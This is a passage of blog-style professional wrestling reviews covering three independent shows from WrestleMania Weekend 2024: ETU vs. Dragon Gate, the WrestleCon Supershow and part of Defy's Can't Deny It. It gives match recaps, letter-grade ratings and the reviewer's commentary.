ETU vs. Dragon Gate: Unlock The Unexpected
Date: April 6, 2024
Location: H20 Wrestling Center, Williamstown, New Jersey
Commentators: Jack Solomon, Jay Church

This is Expect The Unexpected vs. Dragon Gate as we’re rounding the home stretch for Wrestlemania Weekend. I don’t know anything about ETU but I don’t think I’m supposed to as that would make them expected. This show could be just about anything, though Dragon Gate has been all over the place this weekend so they’re almost familiar at this point. Let’s get to it.

Note that I do not follow either promotion so I apologize in advance for missing any character or storyline points.

Opening sequence, featuring various stars who would go on to WWE (including Michin and Bronson Reed).

The ring announcer welcomes us to the show and says it is a great day to be alive. Well that’s positive.

Ho Ho Lun (Dragon Gate) vs. Brayden Toon (ETU) vs. La Estrella (Dragon Gate) vs. Yoya (ETU)

One fall to a finish and the fans certainly seem to like Toon. Estrella and Yoya (who looks like someone shrunk Wheeler Yuta) start things off with an exchange of rollups for two each. The fans approve but the other two come in to throw Estrella and Yoya outside instead. Toon (by far the biggest of the four) takes Lun down but misses a moonsault, allowing Lun to dropkick him outside.

Estrella comes back in and walks on his hands before not quite connecting with an anklescissors to Lun. Back up and Lun kicks him in the head as the fans are rather approving. A dropkick to a grounded Estrella gets two but Toon is back in to break up a chinlock. Toon elbows Estrella down for two and grabs his own chinlock with a knee to the back. Yoya makes the save this time but gets sent to the apron for a dropkick from Estrella.

Lun and Toon team up on Estrella, who springboard clotheslines both of them down with ease. Toon isn’t having that and runs Estrella over with a shoulder, setting up a rather hard powerbomb. A running leg lariat to the back of the head gives Toon two, with Lun and Yoya making stereo saves. With Estrella on the apron, Toon hits a running shooting star press for Loon, with Yoya standing guard for the sake of his promotion. Yoya suplexes Estrella but Lun is back in with a middle rope dropkick. Toon brainbusters Yoya but gets taken down by Estrella. Back up and Lun grabs a rollup to pin Estrella at 7:44.

Rating: C+. Nice opener here with all our moving around at a nice pace until Lun stole the pin. That’s rarely the best way to build someone up but in a case like this, it’s about as good of a way to go as you have. They managed to get four people in the ring, though Yoya caring more about the promotion than winning the match is a bit weird. It’s the theme of the show and all, but that’s an odd thing to see.

Dragon Gate – 1
ETU – 0

Kzy (Dragon Gate) vs. Brandon Kirk (ETU)

The winner gets a future shot at the Key To The East Title. Kzy grabs a headlock to start and then cranks on the arm but Kirk is out without much trouble. Back up and they run the ropes until Kzy snaps off a running Blockbuster. Kirk bails to the floor and trips him down, setting up the apron legdrop to the back of the head. They get back in so Kirk can chop away and grab a chinlock. Make that a waistlock, as they’re staying in first gear to start.

Kzy fights up and sends him into the corner for a running shoulder to the ribs, setting up a northern lights suplex for two. Kirk plants him down for a change but a pumphandle is countered into a Downward Spiral for a nice escape. A sitout Widowmaker gives Kzy two so he goes up, only to get crotched on top. Kzy shove shim down and hits a frog splash, but Kirk small packages him for the same. A jumping cutter….just fires Kzy up so Kirk gives him a Death Valley Driver into a Psycho Driver for the pin at 8:55.

Rating: C+. I’ve seen a good bit of Kzy and I’m not sure I get the appeal. He’s perfectly fine but nothing that overly stands out among the other Dragon Gate wrestlers. Kirk isn’t much better, making this a match that was just slightly better than ok, with little that stood out for the most part. The Psycho Driver did look good, as it tends to do.

Dragon Gate – 1
ETU – 1

Shun Skywalker (Dragon Gate) vs. Alec Price (ETU)

The fans are WAY behind Price here and he offers a handshake to start but the rather evil Skywalker grabs a wristlock instead. Price reverses into an armbar, followed by a springboard clothesline to send Skywalker outside. A running boot to the face staggers Price on the floor though as commentary talks about Skywalker going from hero to villain over the years. The reverse chinlock keeps Price in trouble but he fights up and drops Skywalker again.

A middle rope Rough Ryder gives Price two but Skywalker is back up with some shots to the face. Skywalker grabs a Boston crab, with Price making the ropes without much trouble. Back up and Skywalker invites him to hammer away, with Price’s forearms being shrugged off. Price also shrugs off a German suplex and hits a rather hard rebound lariat for a double knockdown.

A nice dropkick sends Skywalker outside and Price takes him down with a big dive. Back in and a twisting Blockbuster (that looked good) gets two on Skywalker, leaving Price stunned. Some running strikes in the corner rock Skywalker again but he dropkicks Price out of the air, setting up a standing moonsault double knees for the pin at 11:05.

Rating: B-. Price is someone who has shown some promise over the weekend and if he can gain some size, he might have a future elsewhere. He’s a high flier but he does it well enough that it gets your attention. Skywalker is someone who got quite a bit of attention and I’m not sure I get it. He’s good enough but the “I’m evil” stuff doesn’t really stand out.

Dragon Gate – 2
ETU – 1

Post match, Skywalker beats him up even more because he’s evil.

The ring announcer shills some merch.

The Miracle Generation is ready to put their Tag Team Titles on the line.

IWTV Tag Team Titles: Miracle Generation (ETU) vs. Gold Class (Dragon Gate)

Miracle Generation (Dustin Walker/Kylon King) is defending against Ben-K/Kota Minoura. This is also under lucha rules with twenty counts on the floor. Ben-K takes King down to start and works on his leg, which is reversed into a headlock as we hit the grappling on the mat. They flip up to a standoff so it’s off to Walker vs. Minoura. Walker knocks him into the ropes and tries what looks to be a 619 but can’t quite get it right, allowing Minoura to kick him down.

Ben-K comes back in for an assist on a running boot to the head. That isn’t going to work for the champs so King comes in and sens Ben-K outside for a dive. Back in and King grabs a chinlock on Minoura, who powers out in something you don’t see very often. King’s DDT gets two and an impressive looking Cannonball connects, only to have a powerbomb blocked. Ben-K get sin a clothesline and hands it back to Minoura to pick up the pace with some suplexes.

A hard suplex gets two on Walker and it’s back to Ben-K for a forearm exchange with King. Ben-K gets dropped with a superkick and a bridging German suplex gets two with Minoura needing to make a save. One heck of a knee drops Minoura and everyone is down. Back up and King pulls Walker out of the way, with Ben-K going hard into the post. That leaves Minoura to get caught in a powerslam/sitout powerbomb combination to retain the titles at 11:15.

Rating: B-. Good enough here, with the champs looking good in their title defense. It felt like Gold Class was a regular team so this wasn’t just a thrown together title match with no reason to believe the titles were changing. It wasn’t a great match, but I got into it well enough for two teams I haven’t seen much from before.

Dragon Gate – 2
ETU – 2

Respect is shown post match.

The ring announcer thanks various sponsors.

ETU Key To The East Title: Marcus Mathers (ETU) vs. Dragon Kid (Dragon Gate)

Mathers is defending. Feeling out process to start with a battle over arm control until Kid armdrags him down. Kid pulls him down into a chinlock as commentary debates sizes of wrestlers. That’s reversed into a headlock takeover but Kid is back up with a headscissors to send Mathers flying.

Some knee drops have Mathers in more trouble and Kid makes it worse with something like Jamie Noble’s old Trailer Hitch (for the three people who remember that). Mathers manages to get the rope so Kid stomps on the leg to keep him down. That’s broken up and Mathers starts cranking on the arms, with a boot in the back to make it worse. Kid fights up and escapes a suplex, setting up a rather smooth looking middle rope hurricanrana.

A spinning DDT gives Kid two but Mathers is back up with a jumping kick to the face. They both go up top, with a super hurricanrana taking Mathers down for two. Back up and they slug it out until Kid grabs an octopus hold. Mathers slips out again but gets caught with a crucifix driver for two. Another hurricanrana gets two on Mathers but he’s right back with a jumping cutter. A hard lariat hits Kid for two and a sitout powerbomb gets the same. With nothing else working, Mathers hits a 450 for the pin to retain at 16:21.

Rating: B. This was a battle of the generations as Mathers is 21 and Kid is 48 but they both looked rather good in there. Mathers is someone who needs some more experience but is doing well for his still very young age. On the other hand you have Kid, who I never would have expected to be that old. Good match here, with Mathers getting what looked like a showcase win.

Dragon Gate – 2
ETU – 3

Respect is shown post match.

The ring announcer brags about a chicken parm he had earlier today.

Danny Demanto (ETU) vs. Ultimo Dragon (Dragon Gate)

Yes that Ultimo Dragon and Demanto is the founder of ETU. Before the match, Demanto promises to hurt Dragon and doesn’t care what the fans think of him. Feeling out process to start with Dragon backing him into the corner and Demanto demanding a clean break. Demanto backs him into the corner as well and then decks Dragon in the face like a good villain should.

We pause for a debate over whether or not Dragon should shake his hand before Dragon kicks him in the ribs instead. Demanto tells him to try a running shoulder and it doesn’t go well for the much smaller Dragon. Another running shoulder manages to send Demanto outside, where he gets in a posting to slow Dragon down.

Back in and Dragon fights out of a not exactly great looking neck crank but gets elbowed in the face for his efforts. Demanto misses a rather wobbly looking moonsault, allowing Dragon to strike him down. They head outside again with Demanto striking away, followed by a sunset flip of all things for two back inside. Dragon drop toeholds him down and, after playing to the crowd for a good bit, puts on la majistral for the pin at 8:02 (with Demanto looking dead during the count).

Rating: C. You could see the smoke and mirrors here with a lot of stalling, even in an eight minute match. Dragon was getting in some of his signature stuff but there is only so much you can expect from someone who is in his mid 50s. Demanto getting to be a villain is a good thing that helped out a bit here, but it wasn’t exactly a thrilling showdown.

Dragon Gate – 3
ETU – 3

Post match Demanto praises Dragon for being in inspiration to him, to the point where Demanto played as him in WCW vs. NWO World Tour. Dragon apologizes for his band English and thanks the fans for coming and talks about how important this was.

Mike Santana (ETU) vs. Yamato (Dragon Gate)

Santana offers a handshake, Yamato offers a left hand, Santana flips him off and they lock up. The grappling goes to Santana, who gets an armbar before taking him down with a headlock takeover. Yamato reverses a headscissors into a headlock and grinds away for a bit. Back up and they trade armdrags until Santana grabs a running hurricanrana to send him outside.

There’s a dropkick through the ropes and the fans rather approve. Some rather hard chops rock Yamato and he has to lean on the merchandise table. Yamato manages to reverse a whip into the post and they go back inside. Santana invites him to fire off some chops and then immediately regrets the offer. A chinlock and pulling at the face keeps Santana in trouble, with the fans trying to get behind him. They chop it out with Yamato getting the better of things and knocking Santana into the corner.

The slow beating continues, including more chops and a hair toss out of the corner for two. Santana manages a quick cutter though and they’re both down for a breather. They trade running shots to the face until Santana pulls him out of the air for a Death Valley Driver. Back up and they chop it out again with Yamato again getting the better of things. Santana blocks a brainbuster but can’t hit one of his own, allowing Yamato to hit the brainbuster for a delayed one.

Santana fires off some blistering chops before winning an exchange of boots to the face. A springboard moonsault puts Yamato down again and they slug it out from their knees. They get up and headbutt it out until Yamato’s running hurricanrana gets two. One heck of a discus lariat gives Santana two and it’s the torture rack spun into a sitout powerbomb to finish Yamato at 18:39.

Rating: B. Get rid of a few of the slower spots and this is an even better match, but I can more than settle for what we got here. Santana has been on a roll in the last few months and you can see the confidence growing in him ever time he’s out there. Yamato was bringing it as well, with those chops sounding great. Heck of a main event here and they were right to make this the main event.

Dragon Gate – 3
ETU – 4

Post match Santana shows respect and thanks the fans before having the locker room come out to the ring. Santana thanks the Dragon Gate wrestlers for coming here and being such an inspiration. He talks about leaving a place (AEW) for the sake of his happiness and he promises that there is nothing like betting on yourself and having it go this well. The Dragon Gate wrestlers being here is a big deal and Yamato is the man. They bow to each other to wrap it up. You might want to praise the ETU locker room a bit more, but it was a nice speech.

Overall Rating: B. This show took some time to get going and thankfully they didn’t try to have Dragon Gate be treated as invaders or the enemy. Instead it was more about having a bunch of competitive matches, which got better as the show went on. The main event and the Mathers vs. Kid matches both worked well and there was nothing close to bad. Good show here, and I could go for a bit more of both of them.

 

 

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WrestleCon Supershow 2024
Date: April 4, 2024
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Gill, Veda Scott

It’s one of the biggest independent events of Wrestlemania Weekend and as usual, the card is rather stacked. You will regularly get some rather nice surprises to boost up what is already advertised and that makes it a lot more fun. This time around most of the card has been advertised in advance to change it up a bit. Let’s get to it.

I was in the crowd for this, sitting near the stage (all of three feet in front of commentary, which I could hear throughout for a really weird feeling). However, I had a bad case of vertigo kick in just before the show started and it didn’t wrap up until around the start of the main event so I spent a good chunk of this show trying not to fall over. I don’t remember much of it as a result so this should be fun.

ECW announcer Stephen DeAngelis welcomes us to the show and shows us a video on Mark Hitchcock, a graphic designer who passed away on his honeymoon. The show has been named in his honor ever since.

Joey Janela vs. Nic Nemeth

Feeling out process to start with neither getting anywhere off an exchange of lockups. Nemeth wrestles him down without much trouble and Janela seems to realize he’s in trouble on the mat. Janela gets over to the ropes before running Nemeth down in a bit more successful strategy. Back up and Nemeth misses a Stinger Splash, allowing Janela to hit a rather snazzy chop.

Nemeth gets sent into the ropes for a quick German suplex and Janela sends him outside as commentary talks about the paths these two took to get here. Back in and we hit the neck crank as Gill has quite the trouble remembering if it’s Nemeth or Ziggler (fair enough). Janela hits some more hard chops as commentary talks about how you can hear the chops throughout the arena (true).

An Angle Slam gets Nemeth out of trouble for a much needed breather as they’re both down. Back up and Nemeth starts the comeback, with a ram into four different corners. The superkick is blocked though and they go into a pinfall reversal sequence for two each. They slug it out and trade superkicks until Nemeth hits a dropkick for another double knockdown.

Janela manages to grab the Death Valley Driver onto the apron but Nemeth is right back with the running DDT for two. Nemeth’s Fameasser is countered into a powerbomb, followed by the package piledriver for another near fall. Janela takes too long going up and gets superplexed back down for the big crash. Back up and Janela hits a running elbow to put both of them down again. Nemeth shrugs that off and hits a Fameasser into the Danger Zone for the pin at 18:17.

Rating: B. Janela likes to go long in his matches but he did well here. This isn’t about some big long term story or anything serious, but rather having an entertaining match. Nemeth getting to do things outside of WWE is rather interesting for a change and facing Janela in a long match is almost a rite of passage. Good stuff here and it felt like a match that could have hung on a more traditional show.

Los Boricuas vs. FBI/???

This would be Savio Vega/Miguel Perez Jr./Nathalya Perez (with the rest of the team) vs. Little Guido/Tommy Rich/a mystery partner in the form of….Deonna Purrazzo (and Tony Mamaluke to even things up a bit). For those of you who don’t know who Nathalya is Miguel’s daughter, making her the first ever third generation Puerto Rican wrestler. Miguel and Guido start things off but it’s quickly off to Savio vs. Rich.

Nathalya comes in and wants Purrazzo, which does not seem to be a good idea. Nathalya actually takes her into the corner and chops away, only for Purrazzo to demonstrate it a bit better. Purrazzo drops her rather quickly so it’s off to Miguel, who drives Rich into the corner. An elbow to the head gets Rich out of trouble and Guido comes in for a Paisan elbow in a nice flashback.

Hold on though as Guido is sent outside for some Boricuas cheating, meaning we have a big ejection. Miguel grabs a chinlock on Guido before Savio comes back in and is promptly crossbodied. Miguel is right there to cut him off with a clothesline but Guido gets in a middle rope…we’ll call it a clothesline. The tag brings Rich back in for the right hands as everything breaks down. Nathalya slugs it out with Purrazzo and they trade kicks to the head, only for Purrazzo to grab the Fujiwara armbar for the tap at 9:33.

Rating: C. This was there for the sake of some goofy old school fun and there is nothing wrong with that. The fans are going to be into the FBI and their goofy dancing while Los Boricuas certainly have a reputation. Purrazzo was a nice surprise and fit in well with the team, while Nathalya’s biggest flaw is she looks incredibly young. That will change with time, but for now, she looks like a teenager out there. Anyway, fun match to pop the live crowd.

Rob Van Dam vs. Mike Bailey

Veda Scott is a bit biased here, which might be due to her being married to Bailey. Bill Alfonso is here with Van Dam for the old school feeling and yes it’s Walk for the entrance music. As a bonus, Jerry Lynn is guest referee. They fight over a lockup to start until Van Dam fakes a clean break by grabbing a headlock. Said headlock takes Bailey over a few times but he headscissors his way to freedom.

Back up and they both miss kicks for a standoff, with the fans dubbing this awesome. For some reason Van Dam thinks it’s time to pose, allowing Bailey to kick him down. You don’t break up Van Dam’s posing so he chokes on the ropes, poses, and hits a slingshot legdrop. Bailey is draped over the barricade for the spinning kick to the back for the nasty landing on the floor. Van Dam takes too long getting some water from a fan and gets taken down by an Asai moonsault. Gill worries about Fonzie being taken out as well but Scott said “don’t worry, he’s a resilient chap”.

Back in and Bailey hits a hard Helluva Kick into a Tajiri handspring elbow into a running shooting star press for two. The moonsault knees miss though and Van Dam gets two off a rollup. That’s enough to draw Fonzie in for an argument, which only allows Bailey to nail the bouncing kicks. Bailey misses a big kick but Van Dam misses the Rolling Thunder. The shooting star misses for Bailey so Fonzie throws in the chair for a Van Daminator. The Five Star finishes Bailey at 10:57.

Rating: C+. Oh like Van Dam was losing in the ECW Arena on a special show like this. The good thing about Van Dam is that unlike most of the former ECW stars, he can still more than hang in there and have a perfectly watchable match. That was the case here as he and Bailey had an entertaining match with the right ending. Nice stuff here and seeing Van Dam in this building was special.

Rev Pro British Heavyweight Title: Michael Oku vs. Titan

Oku, with Amira, is defending. They go with the grappling to start with Titan twisting out of a wristlock. Stereo dropkick attempts miss and they chop it out, with Oku sticking his chest out but getting kicked in the stomach instead. Back up and Oku sends him outside, only for Titan to jump back inside for the suicide dive.

They get back inside where Titan kicks him in various areas but Oku is back with a middle rope dropkick. With Titan on the floor, Oku hits a running shooting star over the ropes to take him out again. A high crossbody gives Oku two back inside but Titan drops him on the apron. That means a top rope double stomp, only to have Titan come up favoring his knee. Back in and Titan misses another double stomp, allowing Oku to knee him in the face.

The Lionsault sets up the half crab (Oku’s finisher) but the rope is reached rather quickly. Titan’s knee is fine enough to hit a springboard tornado DDT and we get a double breather. They forearm it out until Titan gets the better of an exchange of kicks to the face. Titan’s top rope double stomp gets two but bangs up the knee again. Oku pulls him into the half crab and bridges back for the tap to retain at 15:32.

Rating: B. It was a good, back and forth match with the title helping a lot. I’m not sue I get Oku’s appeal a lot of the time, but he was feeling it here and the submission/high flying combination worked well here. Titan did well with his own stuff as well and it was a rather entertaining match that felt like it could have been on any regular show, which is a nice fit in on a show like this one.

Rascalz vs. Matt Riddle/Mustafa Ali

That was unadvertised so all three entrances get quite the reaction. Riddle takes Wentz down without much trouble to start and they wrestle to a standoff. Wentz gets a headscissors but Riddle slips out, only to miss the big kick to the chest. Back up and Wentz slips out of a German suplex and they slap each other in the face, followed by an exchange of respectful nods.

Ali comes in and takes over on Miguel’s arm but Miguel is right back up with an armbar of his own. They trade some quick near falls and that’s good for a standoff. Everything breaks down and Riddle sends the Rascalz to the floor for the big dive from Ali in a nice bit of teamwork. Back in and Wentz kicks Riddle down to grab the chinlock, followed by the wishbone into stereo basement dropkicks (ouch) for two.

Miguel kicks him in the head again but Ali gets over to bring Ali in and pick up the pace. Riddle gets pulled off the apron though and Ali misses a charge into the corner, allowing the double teaming strikes to drop Ali for two more. Wentz’s hard DDT gets two but Ali fights right back up (as tends to be the case) and brings Riddle back in to clean house. A snazzy German suplex gets two on Miguel but the Floating Bro is broken up. Ali is back in with the tornado DDT, only to miss the 450 and roll into a cutter from Wentz. A springboard cutter drops Riddle, who bounces back up with a double cutter. The Bro Derek finishes Miguel at 14:20.

Rating: B. Ali and Riddle are something of an indy dream team at the moment and it was cool to see them getting together and having a heck of a match here. At the same time, there is something odd about seeing a makeshift team beating a regular team, which was a major focal point from commentary. That being said, it’s hard to imagine most people beating Riddle when he gets into that mode and the match was rather good.

Respect is shown post match.

Josh Alexander vs. Masato Tanaka

Alexander easily takes it to the mat for an early standoff and they fight over hammerlock control. A running shoulder puts Tanaka down but he’s back up with the right hands in the corner. They chop it out until Alexander dragon screw legwhips him down. Tanaka’s leg is fine enough for him to grab a suplex, only to have Alexander roll some German suplexes for two.

The C4 Spike is countered into the sliding elbow to give Tanaka two of his own. Tanaka’s top rope superplex…doesn’t really hurt Alexander, who pops back up for the clothesline comeback (?). The Roaring Elbow gives Tanaka two but his top rope splash hits raised knees. That means the ankle lock (the first of many I’m sure) goes on for Alexander but Tanaka rolls out, earning himself the running crossbody to the back.

Back in and Tanaka wins a slugout, even knocking Alexander’s headgear off. Alexander elbows him down for two and they forearm it out again. Tanaka knocks him into the corner for Diamond Dust and another near fall but Alexander is back with a powerbomb onto the knee. The C4 Spike finishes Tanaka at 12:16.

Rating: B. Take two hard hitters and let them beat the fire out of each other for about twelve minutes until the bigger name hits his finisher for the pin. It was a good, hard hitting match and one of those “hmm, that’s interesting” deals that you can see on a show like this one. Alexander continues to feel like a big fish in a small pond with TNA so it’s nice to see him getting a moment to shine here.

The ring announcer thanks the fans.

Team CMLL vs. Team Dragon Gate

CMLL: Averno/Barbaro Cavernario/Mistico/Star Jr./Villano III Jr.
Dragon Gate: Dragon Kid/Kota Minoura/Kzy/Shun Skywalker/Yamato

The annual ten man tag is a WrestleCon Supershow signature. Skywalker (quite the villain) bails to the floor to start as commentary is flat out saying they can’t keep track of all these people. Cavernario and Kid start things off with some grappling on the mat until Cavernario pulls him into a quickly broken surfboard. Cavernario hits him in the face but Kid snaps off a headscissors.

Averno and Yamato come in with Averno taking Yamato down but getting caught with an arm crank. With that not working, we get the big staredown between Skywalker and Mistico, with the handshake not happening. Mistico snaps off a running headscissors to send him outside and there’s the dive to take Skywalker out again. Everything breaks down for a brawl on the floor until we settle down to Star chopping it out with Kzy.

Star hits a jumping uppercut to put Kzy down until Star ties him in the ropes for a springboard fadeaway legdrop (ala Carmelo Hayes). A kind of flipping slam plants Kzy for two and Star hits a springboard clothesline. Villano comes in to hammer away on Minoura as everything breaks down again.

We settle down (kind of) to Skywalker throwing Cavernario into the corner, allowing Kid to come in and drop some knees. Averno comes in and gets stomped down before Yamato grabs a quickly broken chinlock. It’s back to Villano, who is taken down as well with Dragon Gate holding his partners back in a smart move. That doesn’t last long either as Star comes in and gets taken down in a hurry.

Kzy’s elbow to the back gets two with Mistico making the save but getting caught in the wrong corner as well. Mistico and Minoura strike it out until a swinging Boss Man Slam gives Minoura two. Skywalker comes in but Mistico is back with a handspring double elbow and it’s back to Star. The big dive to the floor takes out most of Dragon Gate and Mistico hits a bigger dive to send them into the crowd.

Back in and Kid gets triple teamed but manages to hand it back to Averno. Skywalker gets caught in the ropes for a bunch of strikes to the chest/head and back to back triplebombs get two with Kid making the save. Averno gets super hurricanranaed down and a frog splash gets two and Cavernario gets kicked in the head….sending him into the Worm.

Something like a Vader Bomb hits Kid or two as everything breaks down. Mistico gets kicked down by Kzy but Skywalker shoves his own partner down, wanting the win for himself. That lets Star hit a top rope double stomp on Skywalker, setting up an arm/leg crank. Mistico adds La Mistica to Kzy for the double submission at 24:47.

Rating: B. This was quite the display of talent with everyone in there going nuts to get int heir own bit of offense. That being said, the match ran long as the stretch where Dragon Gate triple teamed people and cut the ring off just kept going. It was a fun spectacle but never really did anything all that huge to take it up to the next level.

Post match Skywalker goes after CMLL again and gets stomped down.

Of note: following the show, I went to dinner and wound up sitting next to most of Team CMLL (minus Mistico). They were all unmasked but I recognized Cavernario, who confirmed it was the rest of the team and apparently some others. None of them could say who they were, but it was a rather cool treat.

Gill hypes up the main event and intros the ring announcer, who isn’t quite ready, resulting in a 47 second run on sentence introduction with Gill all but begging him to start talking. You could hear the relief in Gill’s voice when the introductions began and he got some applause for his efforts.

Paul Walter Hauser vs. Sami Callihan

Street fight and Hauser is mainly an (Emmy Award winning) actor who occasionally wrestles. Callihan jumps him from behind to start and says F*** Philly/WrestleCon because he’s about to cut up an Emmy winner. The stomping is on, followed by a kendo stick shot to the back. Callihan grabs a bag of toys, starting with a piece of paper to cut the creases between Hauser’s fingers.

Naturally he follows with a lemon to squeeze the juice into the cuts for the real pain. The pizza cutter slices Hauser’s head up as commentary brings up Hauser invading Callihan’s Wrestling Revolver promotion. Back in and Callihan carves him up with the cutter again but Hauser busts out some powder for a needed breather. Callihan hits him with a table but chops the post by mistake.

It’s time for a door, though we pause for Hauser to trade his torn shirt to a fan for a fresh one. Back in and Hauser misses a charge to get sent through the door and Callihan whips out some staple guns. Callihan even throws one to Hauser and they trade staples to various body parts. Hauser staples him low and drops a headbutt for two. It’s time for thumbtacks but Hauser’s middle rope elbow only hits said tacks.

A table is brought in and a powerbomb sends Hauser through it for two. Callihan knocks the referee down and grabs the kendo stick. Said stick is thrown down so Callihan kicks him low and gets two from Bill Alfonso of all people. The near fall doesn’t work for Callihan, who decks Alfonso and grabs the kendo stick….for the Sandman’s pose.

The lights go out and we get the full Enter Sandman treatment as the Sandman is here. I remember watching Sandman as a kid and thinking this was the coolest entrance ever so getting to see it in person, in the ECW Arena, even when Sandman is 60 and has been retired forever, was an all time wrestling moment. For a bonus, we also cut back to the ring where Alfonso is just sitting in the corner watching the entrance in a funny moment. Sandman finally gets in and canes Callihan, allowing Hauser to hit the White Russian Legsweep into the tacks for the pin at 23:38.

Rating: C. The match itself was WAY too long, but the only thing that mattered here was getting in the big Sandman moment at the end. Hauser gets to beat the evil Callihan in a fun and special ending and it did that well enough. The problem is the match could have been ten minutes shorter, as you can only see so much of Callihan beating him up in between short comebacks. This had to headline for the sake of Sandman though and that was worth the wait.

Hauser thanks the fans for letting him into their world to end the show.

Overall Rating: B. This show is always tricky to do as it has so many things going on with all kinds of interesting matches. While some of them didn’t quite work, the stuff that was good was very good, especially with just the right amount of ECW nostalgia. I look forward to this show every year and it worked again here, albeit with a few less than great spots.

 

 

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Can’t Deny It
Date: April 4, 2024
Location: Penns Landing Caterers
Commentators: Jack Farmer, Rich Bocchini

This is from Defy Wrestling and that’s not a promotion I know very well. I’ve seen a bit from them before and I do remember liking them so there might be something worth seeing here. The main event will see Kenta defend the World Title against Gringo Loco, which should at least be good. Let’s get to it.

Schaff is in a four wheeler (or whatever you call a vehicle for driving through the woods in the mud) and wants everyone in the BMF battle royal for his Pacific Northwest Title.

Tag Team Titles: Bollywood Boyz vs. Man Like DeReiss/Michael Oku

DeReiss and Oku are challenging and have Amira with them. Oku is apparently a replacement for Leon Slater who isn’t here due to travel restrictions. DeReiss raps his way to the ring and seems to be rather popular. Gurv and DeReiss start things off with the latter powering him up against the ropes. Some running shoulders put Gurv down and we hear the Birmingham, England (DeReiss’ hometown) area code or whatever he keeps shouting.

Oku comes in and gets armdragged into an arm crank as it’s back to Gurv for more arm pulling. That’s broken up as Oku sends him into the corner, where he jumps over DeReiss for a kick to the chest. They head outside where Gurv hammers away on Oku, setting up a middle rope bulldog for two back inside. Oku fights out of the chinlock rather quickly so it’s a top rope elbow Hart Attack for two instead.

A quick shot to the face lets Oku go up for a frog splash high crossbody and it’s back to DeReiss to pick the pace way up. Everything breaks down and Oku hits a big running flip dive, followed by DeReiss’ powerbomb for two. Stereo half crabs (Oku’s signature) have the champs in trouble but they reverse into stereo Sharpshooters. That’s broken up as well so it’s a 3D to send Harv into Gurv for two. Harv shrugs it off and sense Oku outside, setting up the Bollywood Blast for the pin on DeReiss to retain at 16:36.

Rating: C+. Nice enough match to open the show here, though it really did start to break down near the end. There is only so much drama to be had out of a thrown together team challenging for the titles but it was about all that could be done. The Boyz aren’t the flashiest team in the world but they can do their thing more than well enough.

CCK vs. Moonlight Express

That would be Chris Brookes/Kid Lykos (with Kid Lykos II) vs. Mao/Mike Bailey, because Mike Bailey is everywhere over Wrestlemania Weekend. Mao flips the rather tall Brookes off to start so Brookes teases leaving. Not that it matters as he comes back so Mao can start with Lykos. Mao takes him down and flips him off so it’s off to Bailey, who can’t get into a test of strength with Brookes (as Bailey barely comes up to his shoulders).

Brookes pats him on the head so Bailey starts kicking away in a much smarter move. That lets Bailey pat him on the head for a nice touch and it’s Lykos coming in for a change. A poke to the eye just makes Bailey kick him even more and there’s a double dropkick to send Brookes outside. Stereo moonsaults (from the same corner) take out CCK on the floor and we head back inside.

This time Mao is sent crashing outside, allowing Lykos to hit a top rope Codebreaker on Bailey. We pause for some exchange of fluids from CCK to Bailey (who does have a funny face in reaction) before Lykos shouts BRAINBUSTER. Bailey blocks it so Lykos does the same thing again and, again, is blocked. Serves him right for telegraphing his offense. Mao comes in and sends CCK into each other but CCK is right back with stereo octopus holds.

Those are broken up so Brookes and Mao trade strikes to the face for a double down. Bailey is back in to strike Lykos down, setting up a running shooting star press for two. Brookes misses a kick to the head so Bailey moonsaults onto Lykos on the floor. Back in and the Express miss stereo Ultimate Weapons but Lykos calls for the brainbuster AGAIN and AGAIN it’s broken up.

Bailey’s tornado kick (which he didn’t advertise) hits Lykos and a rollup gets two. Brookes is back in with a kick but Map kicks him right back down. Lykos is back in with the unadvertised brainbuster for two on Bailey so Brookes adds a top rope double knee for two of his own. Mao is taken out again so it’s a Gory Bomb/Diamond Dust combination to finish Bailey at 16:13.

Rating: B. They got rolling near the end there and it was just one big move after another. Bailey is kind of perfect if you want a bunch of cool looking stuff with pretty much no selling in between so he fit in well here. Brookes stands out alone because of his size but he can move well out there to balance it out. Good stuff here, as they just did a bunch of stuff to show off.

Respect is shown post match.

Women’s Title: Vert Vixen vs. Jazmin Allure vs. Trish Adora

Vixen is defending and Mega Ran is a guest commentator. The champ is sent outside to start, leaving Adora to lift Allure up and bent her over the knee in a rather wacky looking hold (the wave to her mom makes it even better). Back in and Vixen makes the save, including a running elbow to drop Adora.

They go outside with Allure hitting a big dive, setting up the chinlock back inside. Adora comes back in but gets her leg kicked out, allowing Allure to hit a Sling Blade. Allure kicks at both of them but Adora pulls a high crossbody out of the air. Vixen’s missile dropkick puts the other two down, followed by a nasty German suplex to plant Allure.

A Blue Thunder Bomb gets two but Adora is up for the save. Allure drops Adora again and runs the corner for an armdrag to Vixen. That means it’s time for Adora and Vixen to trade kicks to the face until Adora is knocked outside. Allure’s guillotine is broken up and Vixen plants her with a powerbomb, followed by a brainbuster to retain at 12:52.

Rating: C+. This was the definition of a match that just kind of happened as they were getting in as much stuff as they could in their limited amount of time. There wasn’t much in the way of a story and while Allure stood out, the other two did well enough. Good enough for what it was, but they needed a better layout.

Pacific Northwest Title: BMF Battle Royal

This is an eight man battle royal, which appears to be either a Royal Rumble or gauntlet match, with Schaff defending. Luke Jacobs is in at #1 and Galeno del Mal is in at #2 with Mal hitting a hard shoulder to take over. Charles Crowley is in at #3 (as this is apparently a Royal Rumble with 57 second intervals) and dances around ringside as Jacobs takes over. The other two pause as the dancing gets inside, followed by Crowley slams Jacobs.

LJ Cleary is in at #4 and fires off some strikes, setting up a springboard armdrag on Mal. Shota is in at #5 as the ring is filling up quickly. Shota runs into and gets kicked down by the much bigger Mal and it’s Gene Munny in at #6. A slingshot spear hits Crowley and house is quickly cleaned by the less than serious Munny.

Ricky Knight Jr. is in at #7 and easily fireman’s carries Cleary and Munny at the same time for a double Samoan drop. Schaff is in at #8 to complete the field and house is quickly cleaned. In this case, cleaning doesn’t mean eliminating though as everyone pairs off. Munny gets clotheslined out, leaving Cleary and Crowley to fight out to the apron. Both tease getting back in but Munny pulls them out, leaving us with five.

Schaff cuts off Shota’s tornado DDT attempt and throws him out. Knight is eliminated as well, leaving us with Schaff, Jacobs and Mal. Jacobs catches Schaff up top and grabs a superplex (instead of knocking him to the floor), followed by a pop up powerbomb to Mal. That doesn’t go well though as Mal tosses Jacobs and we’re down to two. Schaff low bridges Mal over the top but he barely hangs on, giving us a Shawn Michaels reference. They slug it out on the apron until Schaff grabs a Death Valley Driver to retain at 15:00.

